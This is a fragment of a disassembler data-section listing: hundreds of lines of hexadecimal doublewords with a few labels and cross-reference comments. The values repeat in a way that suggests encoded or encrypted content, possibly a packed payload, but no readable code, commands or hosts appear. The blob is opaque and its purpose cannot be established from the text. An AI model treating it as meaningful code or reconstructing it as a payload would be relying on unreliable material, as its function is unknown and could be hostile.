		dd 68B9E908h, 26F69642h, 0FFDC2893h, 0D3DFB88h,	443215CAh
		dd 24B11A06h, 90321566h, 116153B5h, 0CC3D7558h,	22321566h
		dd 0DCF9AE00h, 0B6B37407h, 99EFC8BBh, 22B49069h, 17DB1566h
		dd 0A8321566h, 1C0FCC1Fh, 2289469Dh, 10321566h,	0C5A4795h
		dd 1E3F513Dh, 5F10FFE7h, 0FBB33C71h, 6C1ECB04h,	1F6806EFh
		dd 24B21A06h, 1E321566h, 883215EFh, 97B97566h, 43537406h
		dd 1136AD36h, 66B31566h, 0D916BCCh, 0E4B3D367h,	58916BCCh
		dd 9CDBE93Eh, 42321566h, 326792ABh, 0F24A0C21h,	0D189285Ch
		dd 0E17091CBh, 0ABA67BAAh, 3825C0D3h, 89B41A60h, 0BD321566h
		dd 221E568Fh, 0F7DBED66h, 7DCDEA98h, 0CD6C4530h, 30DB4B95h
		dd 0DC321566h, 345AB73Ah, 590F298Ch, 4F2CD34Eh,	0DA11A10Ch
		dd 0D01EC0Fh, 421B159Fh, 22359269h, 0A7521566h,	72B97315h
		dd 47FAD407h, 0B737AE06h, 46646530h, 7D534E3Eh,	0C606124Bh
		dd 71E23C2Fh, 474038DDh, 9E1E27Bh, 6F107095h, 0A3E1E242h
		dd 173391ADh, 8DD1D41Ah, 49B5E6E7h, 0FA33F30Eh,	113BFC3Dh
		dd 0AA391566h, 0F4065F98h, 0E3067D8Ch, 943D05A6h, 8832156Eh
		dd 8FD49406h, 43424BC8h, 19DBDD57h, 3F321566h, 5327B29Fh
		dd 0AB54E0B0h, 3832ECFBh, 883BFC60h, 639B1566h,	3EB3FD72h
		dd 2C105AA8h, 88331566h, 45F59669h, 0A3CB1566h,	0AA89AE58h
		dd 32B71ADDh, 24321567h, 0E33C21D9h, 79657444h,	0EF444DD9h
		dd 93C55239h, 503AAD36h, 0C9C53698h, 0A23FC591h, 455D63Ah
		dd 54E88463h, 49F51499h, 7D6D2BEFh, 4436AC37h, 0EC331566h
		dd 901619EDh, 883211A2h, 0F1BBED66h, 241B02B3h,	1132058Fh
		dd 0C4DAE66h, 670834F2h, 0BAFD1357h, 0C9BD40F2h, 65AF9E0Ah
		dd 4B343C55h, 22321DE7h, 13BE1A66h, 0E8321566h,	44884707h
		dd 23321566h, 9A389EBCh, 4CB13172h, 45B51A62h, 0DA321566h
		dd 0B81FAE06h, 9542F91h, 2575D585h, 6369436h, 45AA01CAh
		dd 248A453Ch, 6D668D72h, 0A9524DA4h, 7AEA94B6h,	0E97A6AAAh
		dd 4432058Fh, 20A5CF66h, 0F94EBBB9h, 0C71D30FFh, 4BC77C9Bh
		dd 4452752Dh, 0A97DB2D9h, 0CAC9E40Ch, 4426FC07h, 0F4D31566h
		dd 9F40FDA9h, 666BCF0Bh, 0F34EFE8Bh, 9AE2135Eh,	0DE5A381Dh
		dd 132151Bh, 70B33172h,	11016542h, 61074D02h, 0E8562655h
		dd 0B6B37335h, 446A30FAh, 70B81CDEh, 0A253904Dh, 0F452134Fh
		dd 0E353EDCAh, 12C71786h, 0A10374E3h, 0FB3D7560h, 72E09494h
		dd 702B430Ah, 8CB94336h, 40F69442h, 7C321566h, 12B91A06h
		dd 0EE321566h, 0FD54D6EDh, 8F5345C3h, 113F9469h, 80DB1566h
		dd 78321566h, 0D39AB902h, 47A26F31h, 49720BD8h,	85DCC46Fh
		dd 0CCF31680h, 2DFC946Eh, 97DC226h, 7E45AFA0h, 58DC9411h
		dd 104638C5h, 40334B96h, 402B694Bh, 3BBB1A35h, 71321566h
		dd 8832078Fh, 6EC1EB66h, 0E28BB445h, 9537D599h,	0B99EAE3Ch
		dd 25EE0D1Fh, 3E1651EFh, 19DB749Fh, 8F321566h, 0E3FFB35Bh
		dd 0CB6045CFh, 113217F1h, 0FC407D9Fh, 48BB1566h, 0AB67E942h
		dd 15F79483h, 9321566h,	4432118Bh, 61E9266h, 35269C3Ah
		dd 7EB37306h, 0FC54A3C8h, 13534068h, 1139FCAFh,	0A5F1566h
		dd 7D749F7Dh, 67348298h, 18A79E74h, 61343C79h, 4432156Fh
		dd 0C251217Dh, 679DEA13h, 87302EBCh, 44326EE2h,	2237FC66h
		dd 2CB81566h, 0E08C372Dh, 44320084h, 9C1621EFh,	11321562h
		dd 746CE767h, 0BBCDAB30h, 0D31BEA99h, 10BC1A38h, 70321566h
		dd 6513985Dh, 0A73D134Fh, 0EECDEAA7h, 88327D93h, 40B91566h
		dd 26F69442h, 0E9321566h, 8832078Fh, 0A2751266h, 0E33BB138h
		dd 55763D3Dh, 81114746h, 0C97B38A0h, 0B7F7EEBh,	18DA7560h
		dd 6B321566h, 0DE265CB0h, 42066FE5h, 0E0B97339h, 7DD3EA07h
		dd 51DB98EFh, 9052134Fh, 5B974BEh, 69BB4442h, 4436D4E7h
		dd 0E3B31566h, 11321562h, 0D41619E1h, 52B71A06h, 0CB321566h
		dd 11321577h, 6280F227h, 0ADE6F6B4h, 674945AEh,	0A588D713h
		dd 0BCCD7495h, 80B14C42h, 0AB61E062h, 15F19485h, 9321566h
		dd 4432118Dh, 62E9266h,	35069C3Ah, 8832058Fh, 673D4866h
		dd 0E8004892h, 8CB7CD88h, 0E90FED57h, 0A9AF9E8Ch, 0CB343C55h
		dd 11321568h, 7FD5F97Eh, 4165A744h, 8297FB27h, 993DAF59h
		dd 8832156Eh, 11897306h, 436B434Bh, 9836F9E5h, 88883172h
		dd 45321566h, 78389EBCh, 0F8B79E9Eh, 87343C73h,	44321EE2h
		dd 2234FC66h, 4A141566h, 59CBFC11h, 0BCD2C49Ah,	0ED79065h
		dd 923D134Fh, 8832156Eh, 44309D69h, 43521566h, 953DE357h
		dd 8832157Fh, 4437FD06h, 0D9961566h, 49D1D049h,	8832128Fh
		dd 815FEE66h, 0F6C4A65Fh, 4762E007h, 0AC069E3Eh, 4436D1E7h
		dd 75521566h, 11329969h, 0E96D1566h, 0B152B800h, 22321D8Eh
		dd 0E665F166h, 447D0D74h, 0AFE494FEh, 7C287C32h, 10B11A07h
		dd 71321566h, 0AD30F5A7h, 22321560h, 3F47CC67h,	0D31B8EDh
		dd 421B2407h, 0F8B7306h, 80E09402h, 0E94BB4F2h,	8203E557h
		dd 0A63DE557h, 1132156Eh, 58EF9506h, 25EAA269h,	3AB51ACBh
		dd 71321566h, 8832048Fh, 2143BD66h, 0A28ECB36h,	0EF3F057h
		dd 0B18C647h, 1353122Ch, 210199D9h, 4ECA3C78h, 437DD67h
		dd 242C1655h, 22349569h, 0FAB31566h, 0CF912C44h, 25E2AA69h
		dd 7C162199h, 1136D1E7h, 98DB1566h, 8C321566h, 32E51CB4h
		dd 0A55A7F4Fh, 386562CFh, 0C77A54B1h, 0B3284DBh, 953D1460h
		dd 883215A3h, 442B9B69h, 36DB1566h, 5E321566h, 0BE15BE3Bh
		dd 0ACAF075Ch, 8533C216h, 761EBF8Bh, 0B376CEE0h, 6D142CEBh
		dd 0B8B61A60h, 1E321566h, 883218E9h, 443AFC66h,	6E541566h
		dd 1C933A31h, 5092DF8h,	421B0D13h, 22499169h, 993D1566h
		dd 8832156Eh, 44309A69h, 43521566h, 2163985Dh, 0C3D134Fh
		dd 44321507h, 9BFF9506h, 708EC8E6h, 5D2188EBh, 0C53D1356h
		dd 22321567h, 0E9E1EA93h, 0F08A4536h, 753FB24Bh, 7A363122h
		dd 69C59439h, 0E83FB24Bh, 6DA29DDDh, 26B21A7Bh,	77321566h
		dd 0E97913DEh, 4E6790EFh, 0A23D134Fh, 1132156Ah, 8832128Fh
		dd 0D086F066h, 5CF182B7h, 1112638Fh, 13DEC66h, 44321567h
		dd 31AF989Ah, 0ED3425B3h, 98DBC699h, 0D9321566h, 0CF42D91h
		dd 825EFBB0h, 3A932FC9h, 4B0AB932h, 223214E9h, 0ACB1E966h
		dd 8E1B15F7h, 7B61A66h,	0CB321566h, 1132156Eh, 0E697201h
		dd 11BCBF11h, 0B07905Dh, 953D134Fh, 8832157Fh, 4432128Fh
		dd 0E152466h, 5A6BE4D4h, 0BA73905Dh, 0C13D134Fh, 22321574h
		dd 0EE0CFC9Ah, 8FDBEA99h, 0D8321566h, 7059C4E6h, 9409F62Ah
		dd 8E1B0E2Bh, 44599069h, 0CB521566h, 1132156Fh,	34E5D08Dh
		dd 0C689A5ADh, 0A153E00Fh, 38283CDBh, 0C3D1560h, 44321548h
		dd 2232138Fh, 0C1251A66h, 0B699245h, 6D2CECDBh,	0A63D1560h
		dd 11321553h, 3544506h,	4EDB4A96h, 51321566h, 0CBDE2823h
		dd 0AE32D164h, 0C1BF7442h, 24024586h, 11339D69h, 61C71566h
		dd 0BBCDEBAEh, 22321D8Fh, 66638366h, 0AD1FFFE9h, 9B72E1Dh
		dd 2D343C7Dh, 0EECCBAE2h
		dd 35B1E099h, 42026221h, 1CB71A67h, 1E321566h, 88321DE2h
		dd 46B91A66h, 42321566h, 6AB72E07h, 87342511h, 443231E3h
		dd 223FFC66h, 15501566h, 0E41BDF79h, 0F105E332h, 0AFDE2643h
		dd 4839F1E3h, 0F1DBEC66h, 24CDEA98h, 2A25AC00h,	0F8CD2407h
		dd 88321563h, 0FF689163h, 8F8F96CAh, 11343C63h,	99509169h
		dd 4DDB1566h, 0DF321566h, 0C0B90716h, 0FC90A5BAh, 3355905Dh
		dd 0A73D1356h, 1132154Eh, 45B79E93h, 0AD343C66h, 22321574h
		dd 91018C88h, 630CBEA8h, 7B1CF4D1h, 0F9806B5Eh,	0AF64F2B6h
		dd 88321567h, 0B86CE267h, 555D905Dh, 943D1356h,	88321541h
		dd 0C554759Eh, 9BE00991h, 7963AB45h, 0D5B79E07h, 0AD343C55h
		dd 22321563h, 0CD8F560Dh, 778B449Ah, 6DCDEA99h,	19CE4CA9h
		dd 21457EE3h, 0F7B71A60h, 0AD321566h, 2232156Ch, 0D5F71371h
		dd 7CC372DBh, 0C1B9945Dh, 241B009Fh, 13B11A06h,	0E8321566h
		dd 25C79F07h, 0DDCDAE35h, 0CE1BEA99h, 58B3753Dh, 4DA569F7h
		dd 2232078Fh, 202A8166h, 31E4C60Bh, 0D06DB3F9h,	0B316B274h
		dd 70F0FC18h, 8821FD06h, 8B691566h, 60C7FF41h, 0C041E48Ah
		dd 7FB91D12h, 73684D00h, 0C3B3738Fh, 0F96A4D63h, 88321568h
		dd 774B0FF5h, 9AAB7086h, 855A5F9Ch, 7CB81003h, 0C109743Ch
		dd 24026215h, 11619069h, 13D1566h, 44321572h, 22321A8Fh
		dd 7C6EB366h, 180E1A76h, 7063C091h, 3C276977h, 3F3F90EDh
		dd 0DBCE134Fh, 9C6FAEDDh, 6BC19440h, 901E331Ch,	674B03A5h
		dd 7F19412h, 0A374293Eh, 23036785h, 0C9D99422h,	45763557h
		dd 24DB4EB9h, 28321566h, 0D58D8EF1h, 33B72EFDh,	2D342511h
		dd 113241E3h, 82DB7566h, 3E321566h, 5305C7B0h, 6BD8FF1Ch
		dd 89B91AD3h, 0BD321566h, 2AB81A07h, 71321566h,	4D3C61D9h
		dd 0CF53EC1Fh, 0B0698E3h, 1135FC60h, 0E5F1566h,	0EC6A6147h
		dd 0DD8F40EBh, 38CDEA99h, 0B3D4889h, 4432156Bh,	197DAE06h
		dd 9A3D5951h, 88321566h, 3FB72E07h, 2D342511h, 11323CE3h
		dd 0F3D7566h, 44321564h, 8A8D4A30h, 7067C4ACh, 0ABB390EDh
		dd 41DB134Fh, 7B321566h, 99211832h, 0B971CAE1h,	75C924B9h
		dd 0A709ECB9h, 17026219h, 880B9069h, 0CFCA1566h, 0B00F0E3h
		dd 993D7560h, 88321564h, 4B52C9ECh, 223215EEh, 0DFB97366h
		dd 32607407h, 44321567h, 0DA68C267h, 11321B8Fh,	0B8082966h
		dd 0C82B16E8h, 5974397Dh, 2A76E3C5h, 0B84596E3h, 75B71A60h
		dd 42321566h, 9A549AD5h, 0F3D749Dh, 44321563h, 0D48D1A06h
		dd 0B79E07h, 0E8343C77h, 44D1AB00h, 755319D4h, 9A161199h
		dd 4CB1315Ah, 45BD1A62h, 0DA321566h, 66B5905Dh,	0D3D1356h
		dd 44321528h, 223E9569h, 9D3D1566h, 88321560h, 44329769h
		dd 0A7B91566h, 171B3207h, 8837FC06h, 0E2401566h, 44D4B212h
		dd 1A74F7E7h, 8839FC07h, 93FF1566h, 97832492h, 28E3CB19h
		dd 89884701h, 45321566h, 25DB4FB1h, 32321566h, 0CFF3688Fh
		dd 0C109C916h, 240262EDh, 112C9069h, 80DB1566h,	9E321566h
		dd 9A839A9h, 9A8B8C22h,	0A11E1CE3h, 25C77560h, 7C6D4331h
		dd 0E4C59220h, 0FFA1905Dh, 0C13D1356h, 22321550h, 91E59F06h
		dd 353A0B5h, 6D17B4E3h,	2FB71A60h, 71321566h, 8F91BED9h
		dd 11ED9469h, 4352707Ch, 7D58AC37h, 497B3A61h, 9DC51187h
		dd 1B43FCE7h, 0DE1B1AEFh, 0D09ED3Fh, 420262E9h,	224B9069h
		dd 1ECE1566h, 883202EEh, 4420FC66h, 22431566h, 0AA25B52Bh
		dd 337D4ADh, 0B4344D54h, 25126A51h, 103FA8E5h, 8732134Fh
		dd 44325BE3h, 0A7B9ED66h, 171B27EFh, 8832068Fh,	8D5FE66h
		dd 56981080h, 30EDAE2Dh, 307CE975h, 0EAD7A93Fh,	22321D8Fh
		dd 2DFB1A66h, 823144ECh, 6F8A4509h, 0D556F036h,	14EAE2BEh
		dd 1328BAB2h, 246AD24Fh, 2232138Eh, 9D015066h, 0D9BDEAF3h
		dd 0C7534B3Eh, 0B1B5CDBh, 953D1560h, 883215F0h,	5FB72E9Eh
		dd 2D34251Eh, 11329CE3h, 3D7566h, 44321568h, 22321C8Fh
		dd 9FA38166h, 0C2D6EDF4h, 0F33D16B4h, 0A7B974A9h, 171B168Bh
		dd 88249069h, 0F5521566h, 223FFCD5h, 33941566h,	890654EDh
		dd 3861A700h, 43CB6DB9h, 2212AF34h, 6AF300CBh, 29F09464h
		dd 0A338DE0Fh, 0D6640A84h, 9E8E246h, 0C42619A4h, 78E53C46h
		dd 11249869h, 99DB1566h, 2D321566h, 8DCF18A0h, 1A7D3822h
		dd 0C8ED7C9h, 5441EF15h, 223E9F69h, 943D1566h, 88321560h
		dd 44329169h, 9FB11566h, 171B1B63h, 8AB61A66h, 24321564h
		dd 712BE0DCh, 0ACB1740Eh, 8E1B123Fh, 0AAB61A66h, 0DA321567h
		dd 66CD905Dh, 0D3D1356h, 44321524h, 22259E69h, 3DB1566h
		dd 1321566h, 375FC44Ch,	6775D6Bh, 8F160B59h, 0BDF171D7h
		dd 21B79E11h, 2D343C56h, 113214E4h, 3163EC66h, 44321567h
		dd 0CB6BDA67h, 1132156Ch, 8C67B656h, 99EA839Eh,	0A7097879h
		dd 17026D69h, 88619069h, 55DB1566h, 0CB321566h,	0D7A0F1E6h
		dd 0B16283C6h, 0A9E3BFF6h, 0F29B3242h, 350790EDh, 8EDB134Fh
		dd 85321566h, 1CD25345h, 15CD42D4h, 0AC0E9E42h,	4436D1E7h
		dd 30DB1566h, 3F321566h, 5D7CB675h, 69EA9334h, 18AD48FDh
		dd 604B5DD7h, 9547582h,	0BC9F5C8Eh, 21B72E07h, 1E34251Eh
		dd 883251E3h, 43B61A66h, 42321566h, 9A54E2EDh, 0DB974B8h
		dd 421B2453h, 0DE58A206h, 0DB11A07h, 0E8321566h, 4432018Eh
		dd 0F9715C66h, 0AD49EC05h, 0E43B4CE9h, 6D6E9752h, 8BEC1298h
		dd 43534D2Fh, 77CDEADCh, 1EE53C99h, 31B72E9Eh, 1E34251Eh
		dd 883234E3h, 0C1B9ED66h, 241B244Fh, 11389D69h,	0E8521566h
		dd 44BA1A07h, 43321566h, 1133A833h, 67331566h, 0C109E03Bh
		dd 24026D71h, 111A9069h, 3CB1566h, 6D1C58E3h, 29B31A60h
		dd 0F8321566h, 88321560h, 73428C1h, 9860FC48h, 11321567h
		dd 8768C267h, 443214E2h, 0A709E966h, 17026D61h,	887D9069h
		dd 4BDB1566h, 66321566h, 3BD82F38h, 2A5276D2h, 32C2CA62h
		dd 0A7B90BD3h, 171B1C63h, 883A9769h, 0B1521566h, 77665EDFh
		dd 1E527468h, 883217E7h, 0F1537566h, 0A36574E2h, 11333162h
		dd 0E86D1566h, 0C1F19400h, 79634519h, 1E52743Eh, 3682EED9h
		dd 4FB72E07h, 2D34251Eh, 11323DE3h, 8DBF1A66h, 24321566h
		dd 43FC9E9Fh, 1BA390EDh, 93D134Fh, 44321561h, 22339969h
		dd 46CA1566h, 891611E7h, 1B321566h, 7B8F9693h, 11343C61h
		dd 82D09169h, 0C43D1566h, 22321567h, 86B72E9Eh,	87342511h
		dd 443222E3h, 0A7B9E066h, 171B3D17h, 87B31A06h,	0AD321566h
		dd 2232156Ch, 49C82381h, 87E5CD8h, 1253FB47h, 286EB7D8h
		dd 98D49439h, 490DCC76h, 82B31680h, 258D6E99h, 0E86CE24Fh
		dd 0F019905Dh, 0C13D1356h, 22321557h, 0EB8D1A06h, 35B79E07h
		dd 0BD343C6Fh, 0DDCDAE35h, 0CE1BEA99h, 9EB51A3Dh, 0AD321566h
		dd 22321577h, 0BB66A5B8h, 73CBF6ABh, 5B50A004h,	98AF11FEh
		dd 8AB72E83h, 87342511h, 44325CE3h, 2234FC66h, 0E40D1566h
		dd 373AFDE3h, 5E4390EDh, 77CB134Fh, 113214DBh, 0D5DD1466h
		dd 44299369h, 0A13D1566h, 11321573h, 8832058Fh,	43A73166h
		dd 49966519h, 8575F061h, 1EB716FCh, 43B71A45h, 2D321566h
		dd 113214E5h, 0D09ED66h, 420262F9h, 22519069h, 71521566h
		dd 0D4A2DAE7h, 0CF547E17h, 0A26574ACh, 706AEF91h, 902790EDh
		dd 56DB134Fh, 0F8321566h, 0D3BB007Fh, 8975DDE0h, 0F27032D1h
		dd 6EA96398h, 3689461Ch
		dd 939A87Bh, 0F92F338Dh, 79ED146Dh, 113E9569h, 0E3D1566h
		dd 44321560h, 22329C69h, 1FDB1566h, 88321566h, 39870A13h
		dd 994CC6D3h, 0A1D3F4A6h, 2BB72E17h, 4B342511h,	223259E3h
		dd 1139FC66h, 0ADFB1566h, 5F827EB9h, 739633E6h,	0B8B79EB3h
		dd 61343C43h, 44321560h, 68538853h, 0AB60104Bh,	0BD557F06h
		dd 0B330F7A7h, 0C8F094BCh, 9053804Ah, 804E80A4h, 1EE53C12h
		dd 24B41A06h, 90321566h, 0D03701B8h, 0BC851A68h, 85B72E07h
		dd 1E342511h, 88326FE3h, 4BDBED66h, 8321566h, 0AD0A7872h
		dd 8388963Ch, 0D7044B8Eh, 9FB112BFh, 171B146Bh,	0D0B71A66h
		dd 0AD321566h, 22321561h, 0D790CFEAh, 610DF9D6h, 44321577h
		dd 8341D417h, 0B1AFCFCFh, 63311561h, 5A20E05Ch,	73B79EE7h
		dd 1E343C53h, 883201E9h, 443DFC66h, 86301566h, 9598605Bh
		dd 0B7F2037h, 5CF9F171h, 238946C8h, 10321566h, 13D4EB9h
		dd 44321561h, 22339869h, 2ACB1566h, 0B845BEE3h,	13B71A60h
		dd 2D321566h, 113205EAh, 8839FC66h, 4EEC1566h, 0F776829Ah
		dd 0BD676EA6h, 0C5B79EADh, 4B343C45h, 22321BECh, 14DB7566h
		dd 55321566h, 4452C401h, 74534D37h, 6F700FD8h, 67F49448h
		dd 850DBE7Ah, 0CCB31080h, 0D419F447h, 876CE24Fh, 44321DE2h
		dd 20BA1A66h, 71321566h, 0D09E007h, 420262C9h, 22B79069h
		dd 14DB1566h, 53321566h, 3D890828h, 233FA8E5h, 1E32134Fh
		dd 88327BE3h, 443BFC66h, 0CD731566h, 0BD33AF57h, 3D148B1h
		dd 6D1180E3h, 223AFC60h, 935D1566h, 0BCBFD173h,	0CB3DEA4Bh
		dd 2232157Fh, 1132018Fh, 56130566h, 939D9325h, 29692C0h
		dd 0E7A17094h, 18661392h, 70B54219h, 16B55342h,	983D4A42h
		dd 88321579h, 442B9C69h, 36DB1566h, 0AA321566h,	9106165h
		dd 0E17D52F0h, 63F1C591h, 488E98DAh, 0B34361CEh, 7445A6E3h
		dd 0B0B71A60h, 71321566h, 8832198Eh, 81EF7B66h,	59C513CFh
		dd 0C2F85A4h, 8838FC2Eh, 70751566h, 0B2E7C199h,	137B29D0h
		dd 5AAFAD3Eh, 0CF536890h, 0B15D8E3h, 16DA7560h,	0F1321566h
		dd 0D65984BDh, 7BCB4935h, 1132068Eh, 0D42AEC66h, 0A4F4C779h
		dd 1D2894D8h, 6D7B1B12h, 8829250Bh, 2A5C98DFh, 71534E37h
		dd 0B017F9DDh, 63F35E09h, 75F99462h, 0A373E83Fh, 0A62E6995h
		dd 9E9E230h, 0C7517A5h,	79ED3C77h, 1132058Fh, 569B5866h
		dd 383569BDh, 64367ED5h, 81F18465h, 3FB72E12h, 4B342511h
		dd 223257E3h, 19B81A66h, 0E8321566h, 4072AA00h,	0A953DDEDh
		dd 381B04E3h, 57B97560h, 0FC627493h, 0CE023EEh,	2FBA2026h
		dd 0DE3F7140h, 4045B68h, 23C3B253h, 49F53CE7h, 88321F8Fh
		dd 9C8B5C66h, 7898C80h,	2ADB19DFh, 0B845AAE3h, 4B71A60h
		dd 42321566h, 0EFB9A1D2h, 858F9607h, 44343C67h,	221F9069h
		dd 77521566h, 0C50F7E7h, 4432108Fh, 0BC4D6066h,	0E4530DDCh
		dd 0ADE390EDh, 2252134Fh, 3C1FD5E7h, 8589AC00h,	898A4507h
		dd 45321566h, 19C74DA1h, 2145AEE3h, 0FEB71A60h,	4B321566h
		dd 223206EEh, 113CFC66h, 85661566h, 85019D75h, 2EB49BBBh
		dd 125C002Ah, 893FA8E5h, 4B32134Fh, 223245E3h, 1FDB7566h
		dd 0AC321566h, 4A6260A5h, 0C474544Bh, 19622C9h,	60B3731Ah
		dd 0CF53FA85h, 0B34B4E3h, 3DB7560h, 2E321566h, 0C4F7AF9Bh
		dd 2CAED5C6h, 0B1A9DFE7h, 80BB3EF3h, 25E29FE0h,	2233AC37h
		dd 0DE331566h, 8EDBE93Fh, 0DB321566h, 0ED0D4E88h, 0D2B72EDDh
		dd 87342511h, 44322DE3h, 98547566h, 17DBAA25h, 0B5321566h
		dd 2AB846A6h, 0A7B9748Ch, 171B3917h, 778F409Ah,	6DCDEA99h
		dd 0A2524889h, 1CDB8F8Ch, 1A321566h, 0D60CD514h, 88A32DEEh
		dd 16F954BEh, 4FB72E07h, 4B342511h, 223257E3h, 10B61A66h
		dd 74321566h, 5EE790EDh, 2ADB134Fh, 0EA321566h,	1CB1495Ah
		dd 15276030h, 792D28DFh, 90E3E22Bh, 0D32D2AA7h,	1DFD142Bh
		dd 2232078Fh, 0AC9CDB66h, 4FB55A3Fh, 0F3EBB632h, 46EA4289h
		dd 2ACF111Eh, 0B845DEE3h, 64B71A60h, 0D7321566h, 39F390EDh
		dd 0DE52134Fh, 1AE3A269h, 0DD894607h, 38CDEA99h, 87524EB9h
		dd 0CF60EBD9h, 19534C9Dh, 2145DAE3h, 0CEB71A60h, 4B321566h
		dd 22320DEFh, 1121FC66h, 0DED21566h, 0B02FA4CFh, 79494B01h
		dd 8892FA2Ch, 0D3F0498Bh, 0D5B79EB5h, 0D7343C7Dh, 3F5CAC37h
		dd 69E36566h, 454CE4E7h, 0E3B3241Bh, 3FB0B73Bh,	616BDA4Fh
		dd 44321563h, 906764Eh,	0C2B72EA8h, 87342511h, 44323DE3h
		dd 0A7B9ED66h, 171B3F87h, 8832078Fh, 0C36E7566h, 596D062Ch
		dd 0B2F1BFCCh, 0A1C10658h, 158F715Dh, 0DDCDEADFh, 48FD3C99h
		dd 5FB72E9Ah, 4B342511h, 223259E3h, 0C6B37566h,	0C2B004E1h
		dd 0D1B79E07h, 2D343C55h, 113204E7h, 883EFC66h,	0BA31566h
		dd 5B18829h, 733E8978h,	33619F76h, 301429F9h, 0A3E9E22Dh
		dd 370E8895h, 0D3ED3C12h, 4432058Fh, 72A5ED66h,	0F40B7A16h
		dd 74B6323Fh, 94F4D72Fh, 0F9B72E9Eh, 1E342511h,	88324BE3h
		dd 4CDB7566h, 9D321566h, 1B659423h, 8755414Dh, 443214E0h
		dd 0A953E066h, 381AF8E3h, 883FFC60h, 82B41566h,	1F342ABAh
		dd 0A7200889h, 0DEC0FCE8h, 0C519A3D8h, 27DCD460h, 0E796D3E7h
		dd 7F33EAADh, 41DB7538h, 0C1321566h, 0BB9614E4h, 84DB749Ah
		dd 1F321566h, 652FD730h, 49A1D2FAh, 0B30CF9E7h,	7445CAE3h
		dd 4AB71A60h, 0F8321566h, 88321560h, 67CF351h, 0A7B96FF1h
		dd 171B10EFh, 8832068Fh, 0A5F2AE66h, 0BF43A587h, 518F4A63h
		dd 0F9FBEF67h, 0EB5BE2B2h, 7E16AE35h, 0F2F343E5h, 0BFF99463h
		dd 0B3432644h, 95F194B5h, 38C36EC0h, 0D3D4EB9h,	44321579h
		dd 222B9969h, 5DB1566h,	5D321566h, 0BC2D97EFh, 21CF4C8Dh
		dd 9A3E6670h, 0CED7319Dh, 7F8DB8A4h, 0B1638E3h,	55B71A60h
		dd 87321566h, 443200E7h, 2222FC66h, 0E5A71566h,	9C2ED219h
		dd 89A66569h, 5FE89CFBh, 94B9F9D2h, 8E1B322Fh, 458A459Fh
		dd 23321566h, 5DB4DA1h,	0E1321566h, 0E72310C1h,	9F95C422h
		dd 28A83FBEh, 0B11FE3FCh, 7FB423EDh, 1245F6E3h,	5DB71A60h
		dd 61321566h, 4432156Ah, 6FF16951h, 75EC1D57h, 1065C50h
		dd 5E6F90EDh, 9352134Fh, 7021A5F8h, 8836F9E7h, 78BB1566h
		dd 636EA42h, 0ABF1A39h,	87321566h, 443200E9h, 2222FC66h
		dd 0CC901566h, 0EC207E77h, 40787B4Ch, 0ED6FDEA1h, 2ACB420Fh
		dd 0B84A0AE3h, 1DB71A60h, 42321566h, 3772AE00h,	0D3C125D8h
		dd 0F9B1743Fh, 24026D41h, 35B71A66h, 0E8321566h, 42DB479Fh
		dd 13321566h, 50072882h, 0B534E58h, 6D3284DBh, 0A63D1560h
		dd 11321542h, 78B37306h, 0CF535B08h, 0B1CB0E3h,	1ECE7560h
		dd 883211E8h, 0D7887366h, 9B637411h, 11321567h,	746BDA67h
		dd 3C11905Dh, 0A73D1356h, 1132150Fh, 883F9369h,	4CDB1566h
		dd 85321566h, 0A1015CD9h, 0BE29EB5h, 744A32DBh,	0A73D1560h
		dd 11321547h, 198F969Eh, 44343C66h, 22099169h, 983D1566h
		dd 88321560h, 0FB3DEC06h, 0A93D74BEh, 11321567h, 0ADB79E93h
		dd 0BC343C68h, 0DDCDAE35h, 0CE1BEA99h, 8821FC3Dh, 83581566h
		dd 0B1B37CA7h, 4B8CDEF4h, 0BCB28CBBh, 145C290h,	0C5B72E6Fh
		dd 1E342511h, 883272E3h, 56B71A66h, 0CB321566h,	1132156Bh
		dd 34C8C74Dh, 6B55EE7Ah, 85ABEF57h, 74B79E13h, 0E8343C77h
		dd 4432048Fh, 420EEA66h, 7B9EABA3h, 2D81C39Bh, 2FDABBB5h
		dd 953DE87Dh, 0AB6074ACh
		dd 0D69C2355h, 7206FFE7h, 0F51B4BC8h, 1121FC3Ch, 3AF31566h
		dd 0A87DAD52h, 8BBE12AAh, 61A71AB9h, 3DA1C79Ch,	45B21A6Fh
		dd 0DE321566h, 66D9905Dh, 0D3D1356h, 4432155Dh,	67B79E9Eh
		dd 0F8343C7Ch, 8832156Ch, 2EEE3611h, 0ABAA9FEBh, 0A962D9E9h
		dd 77CDEA99h, 0BC6AD24Fh, 22279D69h, 1DB1566h, 0A5321566h
		dd 24A25AEAh, 3AC48AAFh, 9A818995h, 0B3F29796h,	7445FAE3h
		dd 6FB71A60h, 71321566h, 88321A8Eh, 52AD166h, 0AC055C6Dh
		dd 1B7FE73Eh, 529F2A6Fh, 256DDBEDh, 43790EDh, 5DB134Fh
		dd 49321566h, 0C646B6A7h, 128C147Ah, 0AEED8C24h, 0D44F6717h
		dd 166E7C94h, 223214DCh, 4BE51466h, 8ABA1A06h, 12321566h
		dd 43E59E38h, 66C1905Dh, 0D3D1356h, 4432155Ch, 22321C8Fh
		dd 0AC95C466h, 0B1A83FBEh, 0C1B9E3FCh, 241B1FA3h, 56887306h
		dd 0E9F89EB5h, 4433AF34h, 0F5331566h, 1ADB753Ch, 0C6321566h
		dd 242B8AB4h, 4023579Eh, 0DBB2E305h, 0D097473h,	42026291h
		dd 22699069h, 913D1566h, 88321572h, 0AD537506h,	2232156Dh
		dd 0AA4A14A8h, 129C26Ch, 25882BFEh, 2DA390EDh, 0F8CE134Fh
		dd 88321575h, 3CB90E6Fh, 4A6E26F3h, 0C3CD57C0h,	5F845800h
		dd 164CC951h, 0F41EB8DCh, 0D0E0E20Ch, 4AB31684h, 220D2D2Ah
		dd 1632FFE7h, 90703CF7h, 74ACC994h, 1EE51483h, 0D9B72E93h
		dd 1E342511h, 883256E3h, 0FB3D7566h, 97E79591h,	60B79E07h
		dd 87343C4Eh, 44320DECh, 2221FC66h, 0A8A71566h,	42E364FAh
		dd 56F903ADh, 6394ECE2h, 0C3E9716Fh, 0A4B3422Ch, 0BBCDEA42h
		dd 2D524A99h, 113210E3h, 342AD66h, 25CE4350h, 0A63DEA6Dh
		dd 1132157Fh, 88339A69h, 0ADCB1566h, 0DDCDF982h, 55E99406h
		dd 30071142h
		db 72h
byte_5C3A41	db 6, 0Fh		; DATA XREF: ___:off_438488o
byte_5C3A43	db 0Ah			; DATA XREF: ___:off_43A5C0o
dword_5C3A44	dd 9FB72E07h, 1E343C4Dh, 883253E3h, 4420FC66h, 0B30D1566h
					; DATA XREF: ___:off_43A5B8o
		dd 6AE9AE61h, 1F08E840h
